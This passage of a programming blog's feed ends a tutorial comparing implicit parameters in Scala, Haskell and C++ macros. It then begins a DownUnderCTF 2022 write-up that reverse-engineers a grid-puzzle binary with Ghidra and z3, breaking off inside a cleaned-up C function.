&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Ordering&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;In a Haskell type signature, stuff on the left of &lt;code&gt;=&amp;gt;&lt;/code&gt; are type constraints; here we have &lt;code&gt;?cmp :: a -&amp;gt; a -&amp;gt; Ordering&lt;/code&gt;. Although somewhat unintuitive, this leverages Haskell’s existing type system so that implicit parameters are automatically propagated. So if another function calls &lt;code&gt;sort&lt;/code&gt; without a &lt;code&gt;?cmp&lt;/code&gt;, then that function will also have &lt;code&gt;?cmp :: a -&amp;gt; a -&amp;gt; Ordering&lt;/code&gt; in its type constraint!&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;On a different note, an important distinction is that instead of searching for variables with a matching type (as in Scala), Haskell searches for variables with the &lt;em&gt;&lt;strong&gt;same name&lt;/strong&gt;&lt;/em&gt;. In a way, this behaves like C/C++ macros, but with type safety. Compare the Haskell example to the following C++ example.&lt;/p&gt;
&lt;h3 id=&quot;in-c&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#in-c&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; ...in C++&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;algorithm&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;vector&amp;gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; std&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Bad practice, but just to keep things readable.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Generic sort with comparator.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typename&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;F&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;typename&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
T &lt;span class=&quot;token function&quot;&gt;sortBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;F cmp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; T xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cmp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Sort with implicit comparator. We name it with an underscore to avoid confusion with std::sort.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Note how `xs` is substituted with the parameter, but `cmp` is &quot;implicitly&quot; used.&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name function&quot;&gt;sort_&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sortBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Helper function.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; (&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;, &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; b &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; xs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;92&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//  (1, 42) (3, 14) (5, 8) (10, 4) (15, 92)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; cmp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pa&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pb&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; pa&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;first &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; pb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;first&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sortBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Expanded to `print(sortBy(cmp, xs));`.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
     
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//  (15, 92) (1, 42) (3, 14) (5, 8) (10, 4)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; cmp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pa&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pb&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; pa&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;second &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; pb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;second&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Same expansion happens here.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://onlinegdb.com/qII0Pq54O&quot;&gt;Demo&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;This example irks me since it uses macros, so it&#39;s a bit hacky... too hacky for my tastes.&lt;/p&gt;
&lt;h2 id=&quot;abuse-of-implicits&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#abuse-of-implicits&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Abuse of Implicits&lt;/h2&gt;
&lt;p&gt;Although implicit params remove the need to explicitly state params, there is also the danger of hiding too much. This may lead to code being harder to trace and debug, and hence may cause confusion among team members.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Elmo abusing implicits. Don&#39;t be Elmo!&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/implicit-parameters/assets/implicits-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/implicit-parameters/assets/implicits-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;Elmo abusing implicits. Don&#39;t be Elmo!&quot; title=&quot;Elmo abusing implicits. Don&#39;t be Elmo!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/implicit-parameters/assets/implicits-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/implicit-parameters/assets/implicits-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The similarity with natural languages is striking. Sometimes ambiguity may arise when people conversing don’t have sufficient context. Or misunderstanding may arise when people come from different cultures.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Coming back to software engineering, implicits are best reserved for extremely common variables and unique types. Think twice before slapping &lt;code&gt;implicit&lt;/code&gt; or a question mark in your code. You’ll thank yourself later.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.scala-lang.org/tour/implicit-parameters.html&quot;&gt;Tour of Book: Implicit Parameters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/5598085/where-does-scala-look-for-implicits/5598107#5598107&quot;&gt;Where does Scala look for implicits?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://downloads.haskell.org/ghc/9.8.1-alpha4/docs/users_guide/exts/implicit_parameters.html&quot;&gt;GHC Language Extensions: Implicit Parameters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20240828091141/https://galois.com/wp-content/uploads/2014/08/pub_JL_ImplicitParameters.pdf&quot;&gt;Implicit Parameters: Dynamic Scoping with Static Types&lt;/a&gt;: Basis for implicit params in Haskell. Good academic foundation and examples.&lt;/li&gt;
&lt;/ul&gt;
</content>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>programming-languages</category>
        
          <category>scala</category>
        
          <category>haskell</category>
        
          <category>cpp</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>DownUnderCTF 2022 – ezpz-rev</title>
        <description>Grid puzzles aren&#39;t that easy.</description>
        <link href="https://trebledj.me/posts/ductf-2022-ezpz-rev/"/>
        <updated>2022-09-28T00:00:00Z</updated>
        <id>https://trebledj.me/posts/ductf-2022-ezpz-rev/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This was a fun little break from all the school work piling up. School is tiring, just like something else...&lt;/p&gt;
&lt;h2 id=&quot;challenge-description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#challenge-description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Challenge Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;CTFing is tiring. Take a break with this easy puzzle!&lt;/p&gt;
&lt;p&gt;Note: The binary and server in this challenge are the same as &amp;quot;ezpz-pwn&amp;quot;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The description is rather terse. But it seems like the same binary is used for two challenges.&lt;/p&gt;
&lt;p&gt;The binary is available on the &lt;a href=&quot;https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/rev/ezpz-rev&quot;&gt;DownUnderCTF repository&lt;/a&gt;. If you want to have a stab at the challenge, go for it!&lt;/p&gt;
&lt;h2 id=&quot;writeup&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#writeup&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Writeup&lt;/h2&gt;
&lt;p&gt;As with all reverse challenges, let’s first throw the executable into a decompiler and see what crops up. I&#39;ll be using &lt;a href=&quot;https://ghidra-sre.org/&quot;&gt;Ghidra&lt;/a&gt;, a free open-source decompiler perfect for ezpz challenges.&lt;/p&gt;
&lt;p&gt;Navigating to main, we see a function call, a gets (for reading user input), and a chain of four if-statements barring our way to some statements which print out the contents of &lt;code&gt;flag-rev.txt&lt;/code&gt; (presumably the flag for this reverse challenge).&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the main function.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-1062w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-1062w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1062 / 1308&quot; alt=&quot;Decompiled output of the main function.&quot; title=&quot;Decompiled output of the main function.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-1062w.webp 1062w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1062px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The most important functions to crack are the four guarding the file read. But we’ll take a look at the initialisation procedures first since they provide some helpful context towards understanding the program. Along the way, we’ll incrementally build a &lt;a href=&quot;https://github.com/Z3Prover/z3&quot;&gt;z3 logic solver&lt;/a&gt; to emulate/reverse each function.&lt;/p&gt;
&lt;h3 id=&quot;initialisation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#initialisation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Initialisation&lt;/h3&gt;
&lt;p&gt;The first initialisation function modifies some options for the stdin/stdout buffers. Pretty standard C-style CTF stuff. The second initialisation function is much more interesting. Here’s a screenshot of the decompiled program:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the initialisation function.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-1158w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-1158w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1158 / 1126&quot; alt=&quot;Decompiled output of the initialisation function.&quot; title=&quot;Decompiled output of the initialisation function.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-1158w.webp 1158w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1158px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Decompilers are great and all, but the lack of useful variable names, comments, and readability can be a pain. Here’s a cleaned up version:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;init_run_length_encoded&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; initcode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xc4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
